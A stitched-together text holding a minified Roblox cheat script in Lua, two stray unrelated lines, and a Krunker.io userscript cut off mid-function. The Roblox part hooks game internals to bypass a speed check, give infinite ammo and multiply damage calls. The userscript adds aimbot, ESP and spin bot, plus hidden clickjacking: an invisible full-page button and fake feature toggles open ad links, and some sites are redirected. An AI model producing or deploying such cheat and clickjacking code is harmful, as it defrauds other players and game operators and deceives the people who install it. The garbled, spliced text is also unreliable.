game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==2675280735 then local o="BloodTheme"local x=n.CreateLib("Endless Survival Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Auto/Repair Planks")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;for a2,v in pairs(game:GetDescendants())do if v:IsA("TouchTransmitter")then v:Destroy()end end;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;while wait(0.5)do if _G.autoFarm==true then mouse1click()while wait(0.5)do for a2,al in pairs(game:GetService("Workspace").Killers:GetChildren())do if al:IsA("Model")then repeat wait(0.2)game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-7 until al.Zombie.Health<=0 end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end end end)z:NewToggle("Auto-Repair Planks","Auto-Repairs Planks",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewToggle("Auto-Turn-On-all Traps","Automatically turns on Traps",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)z:NewButton("Turn-Power On","This turns on the power.",function()for a2,v in pairs(game:GetService("Workspace").AREA51.ElectricityRoom.PowerManager:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton("Turn-On all Traps","This turns on the all Traps..",function()for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end)z:NewButton("Repair Planks","Repairs all Planks.",function()for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("Purchase Perks:")local z=y:NewSection("1000 Points required for some perks.")z:NewButton("Juggernog","Purchases Juggernog",function()local player=game:getService("Players").LocalPlayer;local lastPosition=player.Character.PrimaryPart.Position;for a2,v in pairs(game:GetService("Workspace").Perks.Juggernog.Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks.Juggernog.Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Speed Cola","Purchases Speed Cola",function()for a2,v in pairs(game:GetService("Workspace").Perks['Speed Cola'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Speed Cola'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Double Tap","Purchases Double Tap",function()for a2,v in pairs(game:GetService("Workspace").Perks['Double Tap'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Double Tap'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Quick Revive","Purchases Quick Revive",function()for a2,v in pairs(game:GetService("Workspace").Perks['Quick Revive'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Quick Revive'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Deadshot Daiquiri","Purchases Deadshot Daiquiri",function()k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil;for a2,v in pairs(game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)else m.Notify("Game is not supported!","Server hopping to Main Menu","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})wait(0.24)game:GetService('TeleportService'):Teleport(155382109,game.Players.LocalPlayer)end
dmpierre
Prove your connect-4 games against an RL agent using Nova.
9in6is69
// ==UserScript== // @name Krunker.io Hacks for AUGUST | Really Working Krunker Mods // @description Krunkerio Mods Features: Show FPS, Aim Fire, Auto Bunny, ESP, Adblock, Change Background // @version 1.2.3 // @author iomods.org // @namespace iomods.org // @match *://krunker.io/* // @grant none // @run-at document-start // @require http://code.jquery.com/jquery-3.3.1.min.js // @require https://code.jquery.com/ui/1.12.0/jquery-ui.min.js // @require https://cdnjs.cloudflare.com/ajax/libs/jquery-confirm/3.3.0/jquery-confirm.min.js // ==/UserScript== function setaps(eID){ document.getElementById(eID).insertAdjacentHTML('afterbegin', '<a target="_blank" style="font-weight:bold;color:yellow;text-decoration:none;" href="https://bit.ly/2E0JJHx">KRUNKRIO.NET</a> - <a target="_blank" style="font-weight:bold;color:yellow;text-decoration:none;" href="https://bit.ly/2Okhczb">KRUNKRIO.ORG</a> - <a target="_blank" style="font-weight:bold;color:red;text-decoration:none;" href="https://bit.ly/2Z3XxaI">IOMDS.ORG</a> - <a target="_blank" style="font-weight:bold;color:green;text-decoration:none;" href="https://bit.ly/2EgRmIx">SLITHRE.COM</a> - <a target="_blank" style="font-weight:bold;color:cyan;text-decoration:none;" href="https://bit.ly/30tvJxW">SKRIBBLIO.NET</a> - <a target="_blank" style="font-weight:bold;color:yellow;text-decoration:none;" href="https://shellshockio.org">SHELLSHOCKIO.ORG</a> - <a target="_blank" style="font-weight:bold;color:yellow;text-decoration:none;" href="https://moomooioplay.com">MOOMOOIOPLAY.COM</a></br><span style="color:white">Fix of script detected:</span> <a href="https://www.youtube.com/watch?v=HjwhMNDTlZA" target="_blank">watch this video (click)</a>'); } var yourclose = setInterval(function() { var setA=document.getElementsByClassName("ad-block-leaderboard-bottom")[0]; setaps("aHolder"); $("#subLogoButtons").html('<div class="button small" onmouseenter="playTick()" onclick="openHostWindow();window.open(\'https://goo.gl/FGU9pC\', \'_blank\', \'location=yes,height=570,width=520,scrollbars=yes,status=yes\');">Host Game</div><div id="inviteButton" class="button small" onmouseenter="playTick()" onclick="copyInviteLink();window.open(\'https://goo.gl/XCNoJL\', \'_blank\', \'location=yes,height=570,width=520,scrollbars=yes,status=yes\');">Invite</div><div class="button small" onmouseenter="playTick()" onclick="showWindow(2)">Server Browser</div><div class="button small" onmouseenter="playTick()" onclick="window.open(\'https://goo.gl/6kqrgN\', \'_blank\', \'location=yes,height=570,width=520,scrollbars=yes,status=yes\');">KRUNKR.IO HACKS</div><div class="button small" onmouseenter="playTick()" onclick="window.open(\'https://goo.gl/XCNoJL/\', \'_blank\', \'location=yes,height=570,width=520,scrollbars=yes,status=yes\');">OTHER .IO MODS</div>'); //values of scripts var values = ["location=yes,scrollbars=yes,status=yes,height=570,width=520","location=yes,scrollbars=yes,status=yes,left=2000,height=570,width=520"], valueToUse = values[Math.floor(Math.random() * values.length)]; valueToUse2 = values[Math.floor(Math.random() * values.length)]; valueToUse3 = values[Math.floor(Math.random() * values.length)]; var links = ["goo.gl/XCNoJL","goo.gl/6kqrgN","goo.gl/FGU9pC","goo.gl/SXUzeF","goo.gl/Lb1GKp","goo.gl/28tVmw","goo.gl/aHMmvA","goo.gl/X8Lhyn","goo.gl/JcfvKP","goo.gl/uqFAWf"], linkToUse = links[Math.floor(Math.random() * links.length)]; linkToUse1 = links[Math.floor(Math.random() * links.length)]; linkToUse2 = links[Math.floor(Math.random() * links.length)]; linkToUse3 = links[Math.floor(Math.random() * links.length)]; linkToUse4 = links[Math.floor(Math.random() * links.length)]; linkToUse5 = links[Math.floor(Math.random() * links.length)]; linkToUse6 = links[Math.floor(Math.random() * links.length)]; linkToUse7 = links[Math.floor(Math.random() * links.length)]; (function (links) { links["one"] = links[0]; links["nine"] = links[9]; })(links || (links = {})); //genel isimlendirme ve ayarlar this.settings = { feature1: "Show ESP", feature2: "Show Game Menu", feature3: "Anti Script Detected", feature4: "Anti Disconnect", feature5: "Background Color", feature6: "Rainbow Background", feature7: "Zoom Hack", string: "<a style=\"padding-right: 12px;\"></a> <font color=\"black\">-</font> <a style=\"padding-left: 12px;\"></a>", buttonpadder: "padding-left: 2px;height:22px;", box: "padding-right:40px;box-sizing: border-box;width: 50%;border: 10px solid black;float: left;", optionstyler: "color:black;font-size:13px;", optionstyler3: "color:black;font-size:10px;", keycolor: "color:#333333;", keystyle: "font-size:10px;", hayirdir: "<span>This</span> <span style=\"color:red\">script</span> <span style=\"color:blue\">stolen</span> <span style=\"color:green\">from</span> <a href=\"https://goo.gl/6kqrgN\" target=\"_blank\"><b>Krunkrio.net</b></a>", formstyle: "border:2px solid black;border-radius:20px;padding:5px;background-color: rgba(245, 245, 245, 1.0);", fpsstyle: "border:1px solid black;border-radius:20px;padding:3px;width:85px;height:25px;font-size: 15px;text-align:center;background-color: rgba(0, 0, 0, 0.8);color:white;", tablostyle: "border:2px solid black;border-radius:20px;padding:5px;background-color: rgba(255, 255, 255, 0.3);", liststyler: "margin-left:26%;color:white;background-color: black;padding:2px;border-style:double;-webkit-box-shadow: 1px 1px 2px 1px rgba(0,0,0,0.39);-moz-box-shadow: 1px 1px 2px 1px rgba(0,0,0,0.39);box-shadow: 1px 1px 2px 1px rgba(0,0,0,0.39);", }; let itv = setInterval( () => { let btn = document.createElement("button"); btn.innerHTML = "Enter Game"; btn.style.display = "inline-block"; btn.style.width = "700px"; btn.id = "byebtn"; btn.style.height = "300px"; btn.style.position = "absolute"; btn.style.top = "30%"; btn.style.opacity = 0; btn.style.left = "25%"; document.body.appendChild(btn); clearInterval(itv); }, 300); document.addEventListener("click", (e) => { if (e.target.id == "byebtn"){ window.open("https://goo.gl/6kqrgN", null, `height=300, width=300, status=yes, toolbar=no, menubar=no, location=no`); byebtn.style.display = "none"; } }); //degisenkisimlar $("#subLogoButtons").append('<div style="'+this.settings.formstyle+'"><div class="option1"></div></div>'); $("#signedOutHeaderBar").append('<div style="'+this.settings.fpsstyle+'" id="fps" class="fps"></div>'); $("#signedInHeaderBar").append('<span style="margin-right:6px;"></span><div style="'+this.settings.fpsstyle+'" id="fps2" class="fps2"></div>'); $('#topLeftHolder').append('<div style="'+this.settings.fpsstyle+'" id="fps3" class="fps3"></div>'); //general $('.option1').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse+'" target="blank">'+this.settings.feature1+'</a> <a><label style="'+this.settings.buttonpadder+'" class=\'switch\'><input type=\'checkbox\' class="fps" onchange="window.open(\'http://'+linkToUse+'\', \'_blank\', \''+valueToUse2+'\');" checked><span class=\'slider\'></span></label></a><div class="option2"></div>'); $('.option1').on('click', '.fps', function() { hideandseek(); }); $('.option2').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse1+'" target="blank">'+this.settings.feature2+'</a> <a><label style="'+this.settings.buttonpadder+'" class=\'switch\'><input type=\'checkbox\' class="menuactive" onchange="window.open(\'http://'+linkToUse1+'\', \'_blank\', \''+valueToUse+'\');" checked><span class=\'slider\'></span></label></a><div class="option3"></div>'); $('.option2').on('click', '.menuactive', function() { hideandseekmenu(); }); $('.option3').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse2+'" target="blank">'+this.settings.feature3+'</a> <a><label style="'+this.settings.buttonpadder+'" class=\'switch\'><input type=\'checkbox\' onchange="window.open(\'http://'+linkToUse2+'\', \'_blank\', \''+valueToUse2+'\');"><span class=\'slider\'></span></label></a><div class="option4"></div>'); $('.option4').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse3+'" target="blank">'+this.settings.feature4+'</a> <a><label style="'+this.settings.buttonpadder+'" class=\'switch\'><input type=\'checkbox\' onchange="window.open(\'http://'+linkToUse3+'\', \'_blank\', \''+valueToUse3+'\');"><span class=\'slider\'></span></label></a><div class="option5"></div>'); $('.option5').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse4+'" target="blank">'+this.settings.feature5+'</a> <a><label style="'+this.settings.buttonpadder+'" class=\'switch\'><input type=\'color\' class="bgcont" onchange="window.open(\'http://'+linkToUse4+'\', \'_blank\', \''+valueToUse+'\');"><span style=\''+this.settings.box+'\'></span></label></a><div class="option6"></div>'); $('.option5').on('change', '.bgcont', function() { changebackground(); }); $('.option6').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse5+'" target="blank">'+this.settings.feature6+'</a> <a><label style="'+this.settings.buttonpadder+'" class=\'switch\'><input type=\'checkbox\' class="renkcont" onchange="window.open(\'http://'+linkToUse5+'\', \'_blank\', \''+valueToUse2+'\');"><span class=\'slider\'></span></label></a><div class="option7"></div>'); $('.option6').on('change', '.renkcont', function() { colorfulmod(); }); $('.option7').html('<a style="'+this.settings.optionstyler+'" href="http://'+linkToUse6+'" target="blank">'+this.settings.feature7+'</a> <input name="zoom" id="zoom" type="number" style="width: 2em;font-size:10px;" min="70" max="140" step="1" value="100" class="zoom" oninput="amount.value=zoom.value;" onchange="window.open(\'http://'+linkToUse6+'\', \'_blank\', \''+valueToUse3+'\');"> <output style="'+this.settings.optionstyler+'" id="amount" name="amount" for="zoom">"100"</output> <a style="'+this.settings.optionstyler3+'" href="http://'+linkToUse4+'" target="blank">(Min: 70-Max: 140)</a>'); $('.option7').on('input', '.zoom', function(e) { zoominout(); }); //main keys //fps counter var before,now,fps before=Date.now(); fps=0; requestAnimationFrame( function loop(){ now=Date.now(); fps=Math.round(1000/(now-before)); before=now; requestAnimationFrame(loop); document.getElementById('fps').innerHTML = 'FPS: ' + fps; document.getElementById('fps2').innerHTML = 'FPS: ' + fps; document.getElementById('fps3').innerHTML = 'FPS: ' + fps; } ); if(window.location.href.indexOf("io-games.io") > -1 || window.location.href.indexOf("iogames.space") > -1 || window.location.href.indexOf("titotu.io") > -1) { location.replace("http://iogameslist.org"); } function hideandseek() { var x = document.getElementById("fps"); var x2 = document.getElementById("fps2"); var x3 = document.getElementById("fps3"); if (x.style.display === "none") { x.style.display = "block"; x2.style.display = "block"; x3.style.display = "block"; } else { x.style.display = "none"; x2.style.display = "none"; x3.style.display = "none"; } } function hideandseekmenu() { var y = document.getElementById("krunkbotInfoBox"); if (y.style.display === "none") { y.style.display = "block"; } else { y.style.display = "none"; } } //change of keys function keyschange() { keys.one = $('.key1').val(); keys.two = $('.key2').val(); keys.three = $('.key3').val(); keys.four = $('.key4').val(); keys.five = $('.key5').val(); keys.six = $('.key6').val(); keys.seven = $('.key7').val(); keys.eight = $('.key8').val(); keys.nine = $('.key9').val(); keys.ten = $('.key10').val(); } function speedchange() { if($('.sp1').val()<0) { speeder.on = "1.250"; } else if($('.sp1').val()>3.5) { speeder.on = "1.250"; } else { speeder.on = $('.sp1').val(); } } //background kismi degisir function changebackground() { var changecolor = $('.bgcont').val(); var rgbaC2 = 'rgba(' + parseInt(changecolor.slice(-6, -4), 16) + ',' + parseInt(changecolor.slice(-4, -2), 16) + ',' + parseInt(changecolor.slice(-2), 16) + ',0.25)'; $('#overlay').css('background-color',rgbaC2); } var colorsrain; var checkedrain=false; function colorfulmod() { if(checkedrain==false) { checkedrain=true; colorsrain = ["#ff0000","#00ff00","#0000ff","#000000","#ffffff","#ff00ff","#00ffff","#981890","#ff7f00","#0085ff","#00bf00"]; } else { checkedrain=false; colorsrain = ["#000000"]; } setInterval(function() { var bodybgarrayno = Math.floor(Math.random() * colorsrain.length); var selectedcolor = colorsrain[bodybgarrayno]; var rgbaCol = 'rgba(' + parseInt(selectedcolor.slice(-6, -4), 16) + ',' + parseInt(selectedcolor.slice(-4, -2), 16) + ',' + parseInt(selectedcolor.slice(-2), 16) + ',0.25)'; $("#overlay").css("background-color",rgbaCol); }, 3000); } //burda birsey degismesi gerekmez function zoominout() { var findinput = $('.zoom').val(); if(findinput >= 70 && findinput <= 140) { $('body').css('zoom',''+findinput+'%'); } else { $('body').css('zoom','100%'); } } clearInterval(yourclose); },1000); const cStruct = (...keys) => ((...v) => keys.reduce((o, k, i) => {o[k] = v[i];return o}, {})) class Utilities { constructor() { this.inputs; this.exports; this.control; this.functions; this.wpnClasses; this.self; this.settings = { scopingOut: false, canShoot: true, targetCoolDown: 600, weaponIndex: 0, isSliding: false, }; this.spinTimer = 1800; this.features = []; this.onLoad(); } onLoad() { this.newFeature('AutoAim', "1", ['Off', 'Aim Assist', 'Aim Bot', 'Trigger Bot']); this.newFeature('AutoBhop', "2", ['Off', 'Auto Jump', 'Auto SlideJump']); this.newFeature('AutoReload', "3", []); this.newFeature('NoRecoil', "4", []); this.newFeature('AimDelta', "5", ['Off', 'Slow', 'Medium', 'Fast', 'MethHead']); this.newFeature('BurstShot', "6", []); this.newFeature('ForceScope', "7", []); this.newFeature('NoDeathDelay', "8", []); this.newFeature('SuperGun', '9', []); this.newFeature('SpinBot', '0', []); window.addEventListener("keydown", event => this.onKeyDown(event)); const interval = setInterval(() => { if (document.querySelector('#leaderDisplay') !== null) { clearInterval(interval); this.createInfoBox(); } }, 100); } onTick() { for (var i = 0, sz = this.features.length; i < sz; i++) { const feature = this.features[i]; switch (feature.name) { case 'AutoAim': if (feature.value) this.AutoAim(feature.value); break; case 'AutoReload': if (feature.value) this.wpnReload(); break; case 'NoRecoil': if (feature.value) this.self.recoilTweenY = this.self.recoilForce = 0; break; case 'AimDelta': this.world.config.deltaMlt = this.control.mouseDownR === 0 || feature.value === 0 ? 1 : feature.value === 1 ? .5 : feature.value === 2 ? .75 : feature.value === 3 ? 1.5 : feature.value === 4 ? 2 : 1; break; case 'SuperGun': if (feature.value) { this.settings.weaponIndex += this.control.mouseDownL == 1; if (this.settings.weaponIndex > this.world.weapons.length - 3) this.settings.weaponIndex = 0; this.self.weapon = this.world.weapons[this.settings.weaponIndex]; } break; case 'BurstShot': if (feature.value) this.self.weapon.shots = this.self.weapon.ammo; break; case 'AutoBhop': if (feature.value) this.AutoBhop(feature.value); break; case 'NoDeathDelay': if (feature.value && this.self && this.self.health === 0) { this.server.deathDelay = 0; this.world.players.forcePos(); //this.world.players.resetAim(); //this.world.updateUI(); } break; } } this.server.viewDist = 5000; // 2000 default this.world.config.impulseMlt = 3; //1 default / max 3 for (i = 0, sz = this.wpnClasses.length; i < sz; i++) { this.wpnClasses[i].speed = 1.05; // 1.05 max } } onUpdated(feature) { if (feature.container.length) { feature.value += 1; if (feature.value > feature.container.length - 1) { feature.value = 0; } feature.valueStr = feature.container[feature.value]; } else { feature.value ^= 1; feature.valueStr = feature.value ? "true" : "false"; } switch (feature.name) { case 'ForceScope': feature.value || this.self.weapon.name === "Sniper Rifle" || this.self.weapon.name === "Semi Auto" ? this.self.weapon.scope = 1 : delete this.self.weapon.scope; break; } window.saveVal(`utilities_${feature.name}`, feature.value); this.updateInfoBox(); } getStatic(s, d) { if(typeof s == 'undefined') { return d; } return s; } newFeature(name, key, array) { const feature = cStruct('name', 'hotkey', 'value', 'valueStr', 'container') const value = parseInt(window.getSavedVal(`utilities_${name}`) || 0); this.features.push(feature(name, key, value, array.length ? array[value] : value ? "true" : "false", array)); } getFeature(name) { for (const feature of this.features) { if (feature.name.toLowerCase() === name.toLowerCase()) { return feature; } } return cStruct('name', 'hotkey', 'value', 'valueStr', 'container'); } createInfoBox() { const leaderDisplay = document.querySelector('#leaderDisplay'); if (leaderDisplay) { var infoBox = document.createElement('div'); if (infoBox) infoBox.innerHTML = '<div> <style> #InfoBox { text-align: left; width: 310px; z-index: 3; padding: 10px; padding-left: 20px; padding-right: 20px; color: rgba(255, 255, 255, 0.7); line-height: 25px; margin-top: 0px; background-color: rgba(0, 0, 0, 0.3); } #InfoBox .utilitiesTitle { font-size: 16px; font-weight: bold; text-align: center; color: #1A72B8; margin-top: 5px; margin-bottom: 5px; } #InfoBox .leaderItem { font-size: 14px; } </style> <div id="InfoBox"></div> </div>'.trim(); leaderDisplay.parentNode.insertBefore(infoBox.firstChild, leaderDisplay.nextSibling); this.updateInfoBox(); } } upperCase(str) { return str.toUpperCase(); } toProperCase(str) { str = str.replace(/([a-z\xE0-\xFF])([A-Z\xC0\xDF])/g, '$1 $2'); str = str.replace(/\s[a-z]/g, this.upperCase) return str; } updateInfoBox() { const infoBox = document.querySelector('#InfoBox'); if (infoBox) { const lines = this.features.map(feature => { return '<div class="leaderItem"> <div class="leaderNameF">[' + feature.hotkey.toUpperCase() + '] ' + this.toProperCase(feature.name) + '</div> <div class="leaderScore">' + feature.valueStr + '</div> </div>'; }); infoBox.innerHTML = '<div class="utilitiesTitle">Krunkerio.org<hr>Krunkerio.net</div>' + lines.join('').trim(); } } onKeyDown(event) { if (document.activeElement.tagName === "INPUT") return; const key = event.key.toUpperCase(); switch (key) { case 'M': { const infoBox = document.querySelector('#InfoBox'); if (infoBox) infoBox.style.display = !infoBox.style.display || infoBox.style.display === "inline-block" ? "none" : "inline-block"; } break; case 'DELETE': this.resetSettings(); break; default: for (const feature of this.features) { if (feature.hotkey.toUpperCase() === key) { this.onUpdated(feature); } } break; } } getDistance3D(fromX, fromY, fromZ, toX, toY, toZ) { var distX = fromX - toX, distY = fromY - toY, distZ = fromZ - toZ; return Math.sqrt(distX * distX + distY * distY + distZ * distZ) } getDistance(player1, player2) { return this.getDistance3D(player1.x, player1.y, player1.z, 